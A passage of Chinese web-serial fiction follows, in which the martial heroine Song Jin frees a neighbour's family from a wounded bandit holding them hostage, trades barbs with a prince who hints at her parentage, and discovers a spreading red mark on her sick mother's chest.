我亲眼看着他死去” 24-30 第24章 他杀了他爹 夜色开始暗了下来,那早早就挂在天边的弯月开始散出皎洁的柔光,铺在地面上不甚明亮,却也能让人隐隐看清周遭 宋锦站在墙角,垂着眸,看向不远处地面那一滩深色,她慢慢地走了过去,脚尖轻轻碾压,又蹲下身捻起一点放到鼻尖,淡淡的血腥味传来 是血,有五六天的样子 宋锦又起身在周遭搜索起来,凭借过人的眼力还有丰富的经验,没一会儿就找出了那些藏在杂草泥土下的血迹,淅淅沥沥,小块小块,一直延续到门口处——这人是从门口进来的 屋里有人给他开门 宋锦那双狭长的凤眸渐渐眯了起来,看着这撒开的血迹,还有林娇娇怀里的药,她逐渐有了推断 男人多半是伤了腿,这么几天了还在这边,伤的应该也不轻 这边的情况很是反常,若是往日的话应该早就被发现了,但是这几日外面纷乱,林镇长又要忙着响应上面抓人,又要忙着应付宋行之等人,就没那么关注这弟弟一家 而梅花前段时间又被他勒令在家反思,她和孩子这段时间安安分分不出门,大家也只会觉得她难得听话,不会往其他方向去想 他们镇子位置不上不下,又有专门的巡逻队,小偷强盗一般不会过来 想到之前在矿洞前的那些个人,还有齐铮他们最近搜查的人,宋锦在心里默念了一声废物,然后抬起步子,小心朝着房间走去 她的身形比起常人高大不少,此刻却矫健轻巧得像是一只猫,不带一点声响的贴近了房间,从左往右,再从前往后,她确定了位置 只有两个房间里有人,而两个房间还正好挨着 这房子都是木建的,有点风吹草动,都吱吱作响,隔壁房间听得一清二楚,敲门根本行不通 宋锦思索一番,从腰侧掏出一包细粉,用软纸包住,点燃,放到房间窗纸上,淡淡的香味顺着猩黄火光传了进去 屋子里抱着妹妹们坐在床上的林娇娇立马就发现了,她下意识按住两个妹妹,嘴里面嘘了一声 两个平日骄纵的孩子,在经过几天的磨难之后,这会儿安静得不成样子,也立马捂住嘴巴,含着泪的眼睛看向林娇娇 林娇娇抿着嘴,心情复杂 这几日里,她是家里唯一可以出去的人,初时她也想找人帮忙,但是弟弟在那人手里,娘亲也哭着让她别说出去,忍一忍过几日人走了就好了,现在说出去不仅会影响她们姐妹的名声,还会孩子她和弟弟 林娇娇虽然隐隐觉得不对,每每出门看到外面巡逻卫兵也想上前,但是到底也不过15岁,害怕这些人打不过那人,害怕一个疏忽娘亲和弟弟就出事,害怕影响姐妹们的名声 但是几日下来,那种不安感越发明显,尤其是打听下听到那些人杀人不眨眼,都是些不讲信用的匪徒,一旦反悔,她们这一群妇孺…… 现在看着门上的火光,嗅着淡淡的香味,林娇娇那忐忑不安的心却瞬间定了下来 宋锦,除了她别无他人了 林娇娇犹豫一瞬,还是小心起身,来到门口,手不过刚触碰到门框,隔壁传来的粗粝的声音:“干什么?” 林娇娇瞬间收手,脸上带上慌张:“我,我,我想如厕” 对面:“不是有夜壶吗?” 林娇娇闭着眼,咬着唇:“臭” 对面安静下来,好一会儿:“快去快回,敢耍花招,小心你娘和你弟的小命” 说着,对面就传来梅花颤颤的声音:“娇娇,你要想想娘和弟啊” 林娇娇咬唇,狠着心:“娘我知道的” 应付完他们,林娇娇轻手轻脚走出去,快步朝着后院厕所的位置走去,果不其然,过去了就看到宋锦的身影 她那身形不管在哪里都非常显眼,让人很难认错 林娇娇着急走过去,小声:“你怎么来了?” 宋锦轻瞥:“不是你让我来的?” 要不是小耳专门说,她都把这人的事忘了,也懒得管,这个时候天大地大还是她娘最重要 林娇娇咬着唇,本就干瘦的脸,看起来更是消瘦几分,眼下的青黑也浓了不少,看得出这些天日子不太好过 她想说她没有喊,但是,她又说不出这话来 尤其是宋锦此刻神色说不上多好,平日嬉皮笑脸的人,这会儿眉眼沉沉,压着一身气势,联想早前她去请大夫 林娇娇知道,这种时候最好不要和这人对着来,不然她指不定人转头就走了,或者直接把巡逻队叫过来,那她娘她们…… 反正让人走是不可能的,但是说事,林娇娇还是有些犹豫,事关家里名声 看着她依旧遮遮掩掩的模样,宋锦掀了掀眼皮,有些不耐烦道:“说不说,不说我去叫巡逻队的过来,真以为这些贼人是什么好东西?这阵子山脚一片不知道死了多少人,你一家子想找死是你们的事,别牵连了镇上其他人” 到底从小在镇上长大的,宋锦虽然一视同仁看所有人都不顺眼,但还是有几分情谊在着,收拾人随意,看人死那是不可能的 她一说完,林娇娇的脸瞬间白了下来,身形也有些抖,眼中慢慢溢出了泪,看起来多了些可怜,就这样也还是没开口 命都要没了,还担心这名声那名声的,宋锦想想是真有些烦,但想到自家娘亲,换位思考一下,她的烦躁和不耐去掉一些 宋锦轻啧一声,尽量耐着性子道:“那人现在还没什么动静,是因为他伤着腿,等哪天好一点了,他真想做什么你们一堆女人孩子后悔都晚了。放心,既然我过来了,就不会让巡逻队插手,一会儿把人逮了,明天直接送去县里,不会影响你们” 林娇娇含泪:“真的?” 宋锦:“我骗你干什么?” 林娇娇吸鼻子:“我娘她,她和你们不对付” 宋锦:“……我就是想收拾他,也不用抽这种时间,你快点说,说完我把人抓了,回家看我娘去了” 林娇娇又有些担忧:“你,你打得过那人吗?他,他特别高大,有两个你那么大” 宋锦烦:“三个我我也弄死他,婆婆妈妈的,再不说我真走了,我是什么衙役侍卫吗?又不是我的活,我愿意帮忙就不错了,别挑挑拣拣” 林娇娇吸吸鼻子,有些委屈,但又莫名安心起来,犹豫好一会儿,才小心说道:“那你一定不能和别人说,尤其是我大伯和我爹,绝对不能让他们知道” 宋锦来了兴趣:“为什么?” 不至于吧?那匪徒看样子伤的不轻,又还在逃命,应该干不了什么坏事才对。而且如果是真的干了什么不正经的事,林娇娇不可能是这个表情,担心、害怕、羞愧、不好意思…… 这中间肯定有问题,不过也对,要是没什么问题的话,那匪徒也不可能从正门进。现在看来,这放人进来的不是林娇娇就是梅花了 林娇娇实在是难以启齿,但是这事情不说也过不去,人证还在屋子里呢。她低着头,羞耻道:“我娘,我娘跟情郎被他抓住了,他拿这事威胁我娘,一定一定不能被发现,求求你了。要是发现了,我娘肯定以后没法活了” 她不敢去找人的最大原因还是在这里,这件事要是被发现了,她娘一定会被休,她们姐妹也会大受影响。但要把那匪徒抓住,她只能找人 林娇娇急得都要哭了,抹着眼泪:“她真的不是故意的,是,是我爹,我爹不好” “……” 看着她急得哭的样子,宋锦忍不住抬头看看那弯弯的月亮,一双凤眸波澜不惊,嘴唇却紧紧抿住,下巴也绷得紧紧,免得自己直接笑出来了 但是 真的是大消息啊 宋锦本来只是出门日行一善,哪里想到能听到这么震惊的八卦啊,不过要是这样的话,那确实也想得通,为什么他们不招人了 这跟情郎厮混一起被抓了个正着,梅花哪里还敢把这事掀出去,但凡让林镇长知道她都死得惨惨的,几个儿女都会被连累,不过说到这个 宋锦又低下头,略显八卦道:“你家老四,是你爹的吗?” 就林娇娇这个样,应该也不是第一天知道这事了,没看出来啊,这小姑娘还挺能藏事 听到这,林娇娇瞬间白了脸,很快又红了起来,最后恼羞地看着宋锦:“你是来抓人的还是来看戏的” 这个反应啊 宋锦在心里啧啧两声,不知道是该同情林老三还是幸灾乐祸了,家里三朵金花一个果,果子还不一定是自己的 不过跟她也没什么关系,梅花虽然烦人了点,但是她为林家生了4个孩子,整天操持家里,一个年轻貌美的女人家常年孤身在家,她只不过是犯了一个天下男人都会犯的错 经常犯错的林老三肯定能原谅她的小错误的 宋锦微微一笑,果然心情不好的时候多看戏还是好的,她现在心情好了不少,说道:“放心,我对这些烂事没兴趣,不会外传的” 有她的保证,林娇娇这才真正放下心来,却还是担忧:“那现在怎么办?那人在房间里,手上还拿着我弟弟” 她很怕因为抓人伤害到他们 虽然弟弟不一定是她爹的崽,但是确实是她名正言顺的亲弟弟啊,白白胖胖,平日也多是她在带着,以后还能给她们撑腰,林娇娇很喜欢他 宋锦思索一下,凑近她耳边轻轻 ** 房间里,穿着灰衣的男人靠在床上,他一条腿绑着纱布放在一边,纱布上血迹斑斑,有凝结成块的黑血,也有刚渗出来的鲜血 看着这不中用的腿,回忆男人的脸色都十分难看,一双鹰眼阴沉沉的 作为银矿的管理人,他一直都负责矿石运输,这么久以来没出过错,哪知道那日会被猛虎袭击,好不容易逃了回去,没多久却又被人偷袭 他打破脑袋都想不明白那些人是怎么找到那里的,没有专门的路线,连他都不一定能从山底下走过来 叛徒,肯定有叛徒 索性他熟悉路,趁着那些人不备,便滚下山逃走,虽然一路大伤小伤,但是问题不大,只待他走出林子,便能回去给主子提醒 然后他就踩进了陷阱里面,摔断了腿 想到这,男人恨得牙痒痒的,要是让他知道是哪个杂种在山里设的陷阱,他定要他不得好死 但好在天无绝人之路,老天爷还是眷顾他的,在他艰难爬出陷阱之后,又让他碰上了这对野鸳鸯,抓了那小白脸威胁人 他知道,抓女人没用,男人都那样,山盟海誓跟放屁一样,一放人就跟兔子似的抓不到了,到时候他还得带一个累赘。不如抓了那男人背着他走,省了他走路,还能用这事威胁女人 果然,他顺顺利利有了养伤的地 他目光阴沉地看向角落里抱在一起瑟瑟发抖的梅花两人,眼底狠意一闪而过,作为死侍出身,他怎么可能会真的放过他们? 这段时间他也把这边的情况都打探清楚好了,等他伤好,第一件事就是将这些见过他面目的人灭口,然后顺着商队离开,到时候重新为主子效力 想到这些男人的脸色稍霁,很快又是一变,按住一直放在手边的长刀,厉色:“谁?” 门外又是哐哐两下,随后便是少女带着哭腔的声音:“娘,娘,我摔一跤,好疼” 本来和情郎抱做一团的梅花立马急得站了起来,直接开门跑了出去:“娇娇,娇娇,怎么就摔了?娘看看,让娘看看” 林娇娇哭着:“疼,真的好疼” 梅花一摸:“啊,骨头,骨头怎么出来了,怎么办怎么办,大夫,我去找大夫” 眼看着她急的直接要跑了,房里的 男人阴沉着脸,展开刀,按住一边的胖娃娃:“给我回来,还要不要你儿子的命了?” 梅花立马僵住,脚像是灌了铅一样沉重下来,一边是儿子,一边是女儿,她后悔地抹着眼泪:“大人,她骨头都出来了,不能不管啊……” 哭哭啼啼的,听得男人烦躁,把刀一收,道:“把人弄进来我看看,女人就是没用” 梅花抹着眼泪,想把人扶起来,又有些扶不动,大便把目光看向里面的情郎 情郎瑟瑟发抖,错开她的目光 最后还是灰衣男人不耐:“赶紧的,小白脸你快去帮忙” 情郎这才如释重负一般站了起来,跑出来帮忙:“梅花梅花我来了,娇娇不怕” 梅花有些怔怔地看着他,眼中失望闪过,心里说不出是个什么感觉,只是不自觉退了一步,小心扶起林娇娇,带着人往里面走,坐到了床边 林娇娇继续呻吟:“疼,呜呜好疼,娘我的腿是不是断了” 灰衣男人听着烦,不耐:“闭嘴,再哭真把你腿打断” 说着,他伸手过去探林娇娇的腿,却是不是鬼主意,那平整的骨头突出一截,应该是摔错位了 灰衣男嫌弃:“大惊小怪,不就是骨头错位吗?给我忍着,再哭出来我直接打断” 他说话的时候,林娇娇已经俯身靠在床上,双手害怕的有些发抖,但是看着这凶恶的匪徒,她咬着牙,紧紧闭眼,然后使出全身的劲,趁其不备,将床上的长刀直接扔得远远的 正准备给她弄腿的男人脸色一变,狰狞地掐住林娇娇脖子:“贱人你想死?” 林娇娇紧紧闭着眼,忍者疼在心里默念 一、二、三 不等她念完,那掐着她脖子的劲便已消失 林娇娇大着胆子睁开眼,就见到于他们而言凶恶的劫匪像条死狗一样瘫在那里,那比他们大腿还粗的胳膊此刻软趴趴垂在一边,他瞪着铜铃般的眼,想说什么,嘴里就被布条堵住,只能发出唔唔的声音 宋锦有些嫌弃地拍了拍手,然后从床上跳下来,对着目瞪口呆的梅花打了个响指 梅花惊悚:“你你你怎么在这?” 宋锦瞥了一眼还折着腿的林娇娇,吊儿郎当道:“我娘又生病了,心情不是很好,出来找点事做,没想到倒是干了件好事” “……” 不难想象她嘴里这个本来想干的事是什么事,梅花吓得再后退两步,尴尬又害怕,说话都磕磕巴巴:“这这样啊,那,那都好了,你,你快回去吧,快回去看着你娘” 宋锦啧了一下:“那我去给娇娇叫个大夫?” 梅花的心思这才转了回来,心疼的扑到林娇娇身上,给她顺气:“不怕不怕,娇娇不怕,疼不疼呜呜都怪娘,都怪娘……” 要不是她一时鬼迷心窍,又害怕事情外露,又不舍得情郎,怎么也不可能给家里招这个祸 林娇娇这下才真的回过神来,看着那边被五花大绑的劫匪,她一下就想放声大哭,可惜哇到一半,一股钻心的疼从腿上传来,打断了她的哭声 好在也就一瞬,疼痛很快消失 她那才折的腿恢复如初,没有半点疼痛,很是神奇 宋锦起身,没和她们寒暄什么,看着床上的人:“这杂种我带走了,明天送去县里,你们自己休息吧” 林娇娇感激:“谢了啊宋锦” 宋锦瞥:“这么大恩就空口谢?” 林娇娇梅花:…… 宋锦又啧:“以后少找我娘的麻烦就是最大的谢,走了,下次别再犯蠢,不然哪天再过来看到的,怕就是你们的尸体了” 说着不再给她们说话的机会,她上前像拖着死狗一样拖起劫匪往外面走,还非常贴心地替她们关上门 惊疑未定的梅花回神,焦急地看着林娇娇:“她,她要是往外面说怎么办?” 林娇娇抿嘴:“她不会的” 梅花:“他怎么不会了?这小霸王从小不讲道理,无法无天,上次还欺负你” “娘,她救了我们,救了一家”林娇娇加大声音,看着梅花的眼神有失望也有委屈,她吸吸鼻子,擦了擦含泪的眼睛,走过去把都快吓傻的老四抱起来,抿着嘴 “我带小弟回去了,您自己处理这边吧” 说着,她抱着人有些踉跄地跑开 房间里就剩下了梅花和他的情人,至于处理,也只有这了 梅花坐在地上,看着往日恩爱的情郎,咬起了唇 …… 这些身后事,宋锦就不管了 虽然她还是挺想凑个热闹的,但是到底不太合适,尤其是手中还有这么大一坨人要处理 宋锦拖着人走出梅花家,把人往地上一扔,再看看左右,有些纠结了起来 她要不要去找个推车推一下呢? 算了,好像有点麻烦,还是拖着走吧,反正也不费什么事 就是废人 一路皮都被磨掉一层的男人唔唔挣扎,但是效果不大,他虽然体型高大,但是也就不到200斤,她把人穴道一点,男人便还不如她以往拖的那些野兽粗木,轻轻松松 至于这人的舒适程度,那就不在她的考虑下了 现在夜色又深了不少,夜风吹在他的身上,温温凉凉的,让宋锦的心情好了不少,果然人不舒服的时候就得多出门透透气再出出力 宋锦就这样拖着人哼着曲,美美地走在路上,还特意多绕了一截,一直到绕完田坎,她把人扔在一边,蹲在地上洗着手,悠悠 “出来吧,人就交给你了,没问题吧?” 齐铮从树后面走了出来,他身影宽阔高大,一身黑衣在夜色下肃然冷冽,他静静地看着宋锦的侧影,最后才落在旁边死狗般的劫匪身上,点了点头 “此事我会专门和肖县令交代” 宋锦继续蹲着洗手:“不觉得她不守妇道,不想为你们男人讨‘公道’?” 齐铮默,良久:“我早年行走江湖,曾听说一对夫妻,自小青梅竹马,家里三子两女,美满和谐,是县里有名的恩爱夫妻。不料一日,那妻子突然投井,让人百思不得其解。一番询问,原来那男人生而不孕,孩子都是妻子与外人所生,他虽痛苦万分却依然将其视为亲子,直到一日事情暴露,那妻子羞愧自尽。” 宋锦听完,嘲讽:“可真是个好男人好丈夫好父亲啊” 齐铮道:“是啊,所以几个孩子不忍父亲这般委屈,在成年后自愿和他断绝关系,‘顺便’状告亲父与外人合谋□□其母,又逼死亲母。我想,既然这个男人如此行事也要儿子,今夜此女自愿为夫谋一子,也是善事一件” “……” 这个角度,有点过于清奇了 宋锦都看不出这人到底是在应付她还是真心实意,不过他一个王爷,应该也不需要在此事上撒谎,她有些一言难尽:“那五个孩子和男人最后如何?” 齐铮:“男人处死,不过子告父到底是大错,带头的大儿被剥掉功名,带着四个弟弟妹妹远走他乡。” 宋锦嘲讽:“当爹真是了不起” 齐铮点头:“世道如此” 说完,两人又沉默下来 真说起来,两人之间不仅没有半分矛盾,倒是还有些买卖的情谊在着,虽然,这点情谊和沙子差不多,吹口气就不在了,但是到底不是孽缘 宋锦洗干净手,起身在衣服上擦干净,不甚清楚地问:“死了没有?” 齐铮:“只是晕了过去,没什么事,我取了一截参须添药,明日应该便能启程回去。” 宋锦沉默,她看向这人,分不清这人的意思 这是暗示她补参须呢还是补参须呢 她舌尖抵牙,试探道:“那参须刚好补了缺的市价,还是你赚了” 齐铮遗憾一闪而过,很快又恢复常态:“这倒也是” 宋锦:…… 恕她直言,她从没见过这么抠门的王爷,就他这一身也不该这么穷才是啊 宋 锦撇了撇嘴,从腰带间取出一纸包扔了过去:“上好的灵芝粉,看在你讲点道理的份上,送你了” 就齐铮一路的表现,她对这人倒是颇有好感 不愚昧很灵便,聪颖又还算有正义感 齐铮稳稳接住那包不过半两的纸包,放到鼻尖轻嗅,眸色渐深,神色带上隐隐的羡慕:“真是个好地方” 也是个好人啊,这种能增加内力的好东西都舍得分人 齐铮那节俭的良心也隐隐疼痛几分,他思忖半晌,道:“宋行之想带你走,一是疑你为宋首辅亲女,二便是忧你出事。宋首辅这些年在外树敌颇多,其中不乏险恶之人,他怕那些人对你们母女出手,威胁首辅” 这话一出来,宋锦就有些后悔给东西了,她嘲讽:“怎么,大名鼎鼎的宋首辅这般心善?不过是相似之人,也能威胁到他?” 她的脸上写满了张扬与无畏,她拥有超乎绝顶的功夫,又机敏灵活,却是可以无惧一切。但是蚁多咬死象,再是高手,也算不了人心的险恶 不过这些不是说说就明白的,齐铮只道:“若你厌恶之人,怀中之人与你相似,你当如何?” 不用多说,宋锦嫌恶的表情已经说明一切了 齐铮:“威胁不至于,恶心人足以” 宋锦有些一言难尽地翻了个白眼,倒是没那么气了,但是也没什么好脸色,她道:“我就是死了疯了傻了,跟他也没个关系,让他别再出现在我面前,不然下次就没那么简单了。” 齐铮却没有应下,他其实并不是个多话的人,但是既受恩于宋商,现在又占了小姑娘的便宜,他忖度一番,道 “这个可能不行” 宋锦面无表情表情地看着齐铮,伸出了手,没好气道:“东西还我” 齐铮利落地将东西放入衣襟后袋,一本正经道:“这个也不行” 宋锦:…… 这王爷脸皮震的好厚啊 她嫌弃:“你真的是王爷吗?我觉得你像个假的” 齐铮坦然:“应该不是,他们查了很多遍了,我确实是真的” 这个话,很有深意啊,宋锦若有所思地打量齐铮,就听到他又道:“看样子你应该不知,我从小在民间长大,去年才被宋首辅带回都城,他于我有恩” 宋锦挑眉:“怎么,那你要把我带回去报恩?恕我直言,你一个人,可能还是差了点” 齐铮摇头:“且听我说,因为此事,我特意找人了解了一番宋首辅。他过两月满四十,这些年后院清静无人,无妻无妾,虽然有些手段过激,但总体是个正派人” 宋锦差点笑出来了:“他无妻无妾,怎么,那宋行之是石头里蹦出来的?” 齐铮点头:“相差无几,他5个孩子都是从外面带回来的,无一亲子” 换个时候说这些,宋锦还有几分兴趣,这个时候,她懒得听:“那也跟我无关” 齐铮无视她掉意兴阑珊,继续道:“宋首辅不曾在意外面的流言蜚语,唯独他父母之事,在都城是禁忌。” 宋锦挑眉:“你是说他杀了他爹的事?” 在这个讲究孝道的年头,这事是宋商身上永远洗不去的罪恶,不管是什么理由,他弑父都是大逆不道 齐铮面色逐渐严肃了下来:“我要说的,是他母亲的事” 宋锦抠抠耳朵,吊儿郎当:“洗耳恭听” 齐铮:“宋首辅亲娘姓曲,当年曾给他取字茂泽” 宋锦:??? 第25章 心里有东西 曲茂泽 曲茂泽 这个名字有些耳熟 宋锦虽然不能过目不忘,但是有异能加持的记忆力绝对超过绝大部分人,所以她很快就翻到了下午的记忆 她娘当时是怎么说的来着:“他绝无可能是那宋商,他叫曲茂泽,当年,我亲眼看着他死去” 曲什么泽?什么茂泽?曲茂什么? 宋锦想想就头疼了起来,躺在床上翻来覆去,辗转反侧,最后实在是睡不着,她干脆就起身出门,打算去家里专门给她修的瞭望台上去看星星 说是瞭望台,其实也就是个三层小楼,小小的,足够两个人蜷在里面。小的时候牛铁兰就喜欢抱着她躺在里面,耐心又温柔的给她介绍着天上的星宿 那时候的牛铁兰身体比现在差多了,每一天都是当做最后一天来对待,她会穿着漂亮的衣服、梳着好看的发型、画着细腻的妆容,声音轻轻柔柔,就跟天上的仙女似的 一直到后面碰上了老刘头,牛铁兰的身体慢慢调理好了,虽然依旧三天两头生病,但是到底不至于奄奄一息,好好养着没什么问题了。她就开始放飞自我,从温温柔柔的娘亲变成了凶巴巴的阿娘了 不过宋锦一点也不怀念那个时候,她更喜欢现在这个凶巴巴喜欢吼她的快乐健康的阿娘,想着这些,她轻快地爬上了瞭望楼,却发现里面已经有人了 宋锦有些意外地看着里面像个小猫一样蜷缩着的小耳,她的个头也很小,不过四尺多点,虽然年纪比宋锦大些,但是看着就跟个小孩子似的 “怎么在这睡觉?会得风寒的”说着,宋锦跟着蜷了进去和她躺在一起,对于小耳来说刚刚好的地方,她得伸出双腿悬在外面。看着满天的繁星,她给小耳指了指 “诺,那颗是启明星,当你找不到路的时候,顺着那颗星星一起走,总能找出去,” “小姐真厉害,懂得真多,我要是像你一样厉害就好了”小耳缩在那里,缺了小块的耳朵被毛茸茸的头发遮挡,一双圆眼睛发亮,很快又黯了下来,“这样我爹娘也不会被山匪杀了” 宋锦叹气:“想你爹娘了吗?” 小耳点头,眼睛水汪汪的:“再过几日就是他们的忌日了” 宋锦拍拍她的脑袋:“别想那么多,明日好好歇一天,你爹娘九泉之下看到你过得好她们也才放心” 小耳摇摇头:“不用歇,我就是想她们了,我和小眉每日歇的也够多了,能遇上小姐一定是我这辈子最大的福气” 她们每个月的月钱半两,有单独的房间,每日的活计比起镇上大部分主人家都少,吃的更是很多城里大户人家都比不上的 小耳对现在的生活其实很满意,只不过,她也会想念从前的日子 她原本也算是富家小姐,父母感情恩爱,她们兄弟妹关系和谐,但运气不好,一次全家出游,他们遇上匪徒,只剩她因为个子小藏在车下活了下来,可惜耳朵也是那时候被挂掉的。 后面她被救了回去,却也被当做灾星,最后被所谓亲人卖掉 她生的好看,从小就跟小苹果似的,本是被卖到烟花之地,也是那日掉出马车被宋锦看到了,才被买了回来当做良家丫鬟 宋锦拍拍人的后背:“这可不是你的福,你的福还在后面,等哪日你想走了,有自己的生活了,那才是福” 小耳摇头:“我才不走,我和小眉都说好了,我们要一辈子跟着小姐夫人,才不去外面受苦” 宋锦好笑:“在我这干活就不苦了?” 小耳嘟嘴:“干活肯定累,但我们有工钱拿,吃得好,有时间了可以去赶集。不像外面,那些女人家也干活煮饭,没工钱就算了,还要受婆家气,我反正不去吃这个苦” 宋锦失笑:“你们俩想得可真多” 小耳轻哼:“毕竟都这么大了,前不久都有人过来想和夫人聘小眉呢,不过小眉拒绝了。” 宋锦有些意外:“还有这事?” “有啊,她们都知道小姐夫人是厚道人,我跟小眉手头有钱,又没有家人无依靠,一个个不知道打的什么歪主意,我们可不上当。”说着小耳又担心了起来,像是小鹿一样看着宋锦 “小姐,那你什么时候成婚?你成婚了夫人和我们怎么办?” “我?”宋锦好笑,“早着呢,再说了,我就是成亲,那也必须把我娘跟你们带着啊” 小耳瞬间开心了起来,眼睛圆圆脸圆圆,让人看着心情也跟着好了起来,不过她很快又抿起了嘴,嘟囔 “可是我不喜欢严家人 ,她们说你们坏话” 这说话没头没尾的,宋锦叹气:“这是怎么说到他们家的啊,他们说他们的呗,严盛那小子眼看着就是官老爷了,他们家傲一点也正常,该他们傲。不过跟我们又没关系,日子都是自己过的,不喜欢离远点” 都说民不与官斗,不触及自家娘亲的情况下,宋锦也没有惹事的想法 小耳看着她完全不在意的样子,有些茫然:“没关系吗?” 宋锦笑:“自然是没关系的,他们家成官老爷了,还能带着咱家也升官发财?” 小耳挠头:“可是,不都说你和严童生要结亲吗?” 听到这话,宋锦差点让口水给呛了,敲敲小耳的脑袋,一脸嫌弃:“胡说八道,你从哪里听来的谣言?” 小儿就更迷茫了,抓过头发咬了咬,小声:“从夫人和小梅那里偷听的” 宋锦:…… 不信谣,不传谣哈 ** 第二天一早,宋锦打着哈欠从房间出来,精神难得地不是很好 昨日乱糟糟的事情太多了,她一晚上都没有睡着,在那里翻来覆去,甚至想去林子里发泄一番。但是想想还是算了,牛铁兰现在这个情况,让她晚上一个人在家宋锦不放心 她打着哈欠出来,院子里静悄悄的,朦胧的白雾渐起,裹住整个小院,随着第一束天光照射进来又随之消散 “小姐醒了?”瘸着腿的阿茂用拎着装了包子的食盒从外面进来,和宋锦打着招呼,“刚出炉的酸菜包子,您趁热吃” 宋锦:“好,买了多少钱的一会儿去找小眉记一下,让她拿给你” 阿茂沉默点头 宋锦重复:“记得报账” 阿茂脸上闪过无奈:“我攒了不少钱的,几十文还是出得起” 宋锦才是真的无奈呢,她想不通:“你们有钱是你们的,一个个的不想着攒钱,还往外花钱?等以后你们出去了,盖房子买地娶媳妇儿养孩子都要钱呢” 怎么一个个都一副赖上她们母女俩的架势啊 阿茂叹气:“我觉得现在挺好的” 结婚生子,盖房子什么的,距离他一个瘸子可太远了 他又问:“还是您嫌弃我瘸腿干不了事,想换一个更能干的?” “停,我错了,你爱怎么样就怎么样吧,喜欢这儿就在这住一辈子,我不说了,反正哪天想走的时候和我说就行,我带你们去县衙消了身契”宋锦揉着脑袋,过去把食盒取了一层出来,又问 “我娘的粥熬了没?” 阿茂:“煮了,小多在看火” 宋锦:“那就行,小耳就让她继续睡吧,这几天她少干点,你们多辛苦点,等月底多发一成工钱” 阿茂:“干活没问题,钱就算了,您慢吃,我去看看小多,给他带了蛐蛐,他应该会喜欢” 宋锦摆手:“去吧,这个钱一起找小眉报了,你一说我才想起,我之前也应了给他捉,这几天忙忘了” 阿茂:“……您快吃吧,我走了,今天一整天我们几个都在家里,您去忙您的就是” “我应该不会出门,不过要是出门了,你们就帮我看着我娘,别让其他人过来烦她”宋锦强调,“任何人,包括镇长,甚至县令,懂吗?” 阿茂严肃下来:“您放心” 见他懂自己的意思,宋锦拿出一个包子往嘴里塞,冲着他摆了摆手,转身去后院看小黑,不提前给它投喂爱吃的豆子豆饼,让它提前放屁,后面出门就遭罪了 等弄好了以后,宋锦又简单收拾好,看着时间差不多了,这才朝着牛铁兰的房间走去,小心推开门,里面依旧静悄悄的 牛铁兰躺在床上,顺滑光泽的头发被汗水染的湿淋淋的,她紧闭着双眼,眉间不时皱起,呼吸也不时急促起来,足以说明她的难受 宋锦脸色微变,担心地走道床边,小心喊人:“娘,娘” 牛铁兰迷迷糊糊醒来,看到的就是宋锦担忧的脸,她下意识想伸手摸摸她,却发现自己根本使不上力,声音也沙哑的不行 “金,金金?” 宋锦扶着人半靠在床头,担忧:“娘你没事吧?哪里还不舒服,一定要和我说” 牛铁兰干咳几下,柳眉紧蹙,她一只手抓着宋锦,另一只手捂住心口,隔着胸房都能感受其中的震动,还有那不可忽视的异样 如果说昨日还能说是她感受错误,那么现在绝对不是 她虽然不想让宋锦为他担忧,但那是在只是老毛病,她没什么问题的情况下 思及,牛铁兰闭住眼,拉住宋锦的手放在自己胸口:“金金,我心口里,好像有什么东西在动” 宋锦瞬间变了脸,扒开她的衣襟一看,那如凝脂一般的肌肤上,一条血线突起 这不奇怪,自宋锦记事起,牛铁兰锁骨处就一直有一寸长的红线,但是现在,它变成了两寸 宋锦的脸色立马难看得不行,她咬着牙,低低问:“娘,这红线,到底是你生来就有,还是后面才长的?” 牛铁兰低头一看,也发现了不同,她有些苦涩,又有些恍然:“我就说,我就说” 宋锦着急地加大声音:“娘” 看着她着急的模样,牛铁兰沉默好一会儿,苦笑:“是怀你那年有的” 宋锦手颤了颤,又凑过脑袋贴在牛铁兰心口听着心跳,又压着情绪给她把脉 没有异样,还是没有任何异样,和以前一模一样 她瞬间想起昨日齐铮那句突然的你该带她去寻个医,再联想他说的疑似自己的身世,宋锦压着惊惧,尽量平静道:“娘你先休息,我去给你端药,一会儿就回来” 牛铁兰担忧地看着闺女,但是她也知道以自己现在的身体情况,说什么也没用,她勉强笑笑:“好,你去吧,娘这么多年都这么过来了,你别担心” 宋锦也想笑一笑安慰她,但实在笑不出来,只是给她重新盖好被子,便急急忙忙的走出房间,飞快朝着了林镇长家里跑去,刚好碰到正好出门的林镇长 她直接攥住他的衣领,急道:“他们还在不在?” 林镇长:“哎哟,你轻点轻点,我这老骨头哎,哎哎,怎么了,行行行,我不问,他们走了,天不亮就走了,这会儿应该到县城了,哎哎哎,怎么又跑了,到底怎么了啊” 宋锦没时间和他解释,听到人走了,她便飞快跑回家,骑着小黑以最快的速度朝着县城奔去,就连在城门口也没有停下 罗衙役:“哎,哎哎” 张衙役:“这是怎么了急急忙忙?” 但是宋锦已经跑了,也没人回答他们,两人只得带着疑虑继续守着 而这边,宋锦以最快的速度跑到了县衙,随手就抓住一人:“他们还在不在?从都城来的齐大人和宋大人?” 被抓住的人摸不着头脑,但在看着宋锦焦急的模样也不卖关子,直道:“宋大人不知,齐大人在狱里” 听到这个回答,宋锦长长舒了口气,随即便一屁股坐在地上,劫后重生一般喃喃:“还在就好,还在就好” 被她揪住的衙役理了理领口,跟着蹲在旁边,好奇地看着他:“这是怎么了?这个模样” 宋锦勉强地笑了一下:“找齐大人有事,你去帮我叫一下他,就说看在我帮着抓了人的份上,快点过来” 衙役恍然:“那人是你抓的啊?” 他就说那模样怎么那么惨,是这位干的,那一点儿也不奇怪 要是正常情况,他肯定会让宋锦等一等,审讯要紧,但是宋锦不是没分寸的人,她都这般着急了,看在往日那些肉和药的份上,衙役直接就去问了 反正肖县令厚道,他大不了挨一顿批,他皮糙肉厚的不影响什么 宋锦继 续坐在地上,两条长腿直直的瘫着,难得有些发软,她深吸一口气,伸手不轻不重地敲着,脑袋有些发空 从末日穿到这里,宋锦的每一天都是和牛铁兰一起度过,她最大的愿望也是和娘亲一起养养花种种菜,当着快乐的小地主,从没想过有一天会失去她 宋锦跟着老刘头学医,有事没事跑山里找药,都是为了能够养好牛铁兰虚弱的身子骨,但是如果一开始方向就是错的 她有些害怕 等到齐铮和肖县令出来,看到的便是宋锦这幅模样,两个人都有些意外,毕竟这人向来是张扬得意的,害怕这种情绪,真的很难想象 不过就算是害怕,她也没有丝毫可怜的意味,而是那种带着倔强、执拗,能破开一切的不服 宋锦听到声音就转头,也不在乎多了个肖县令,直道:“你昨天为什么说我该带我娘寻医?” 齐铮微微皱眉,反问:“她情况如何?” 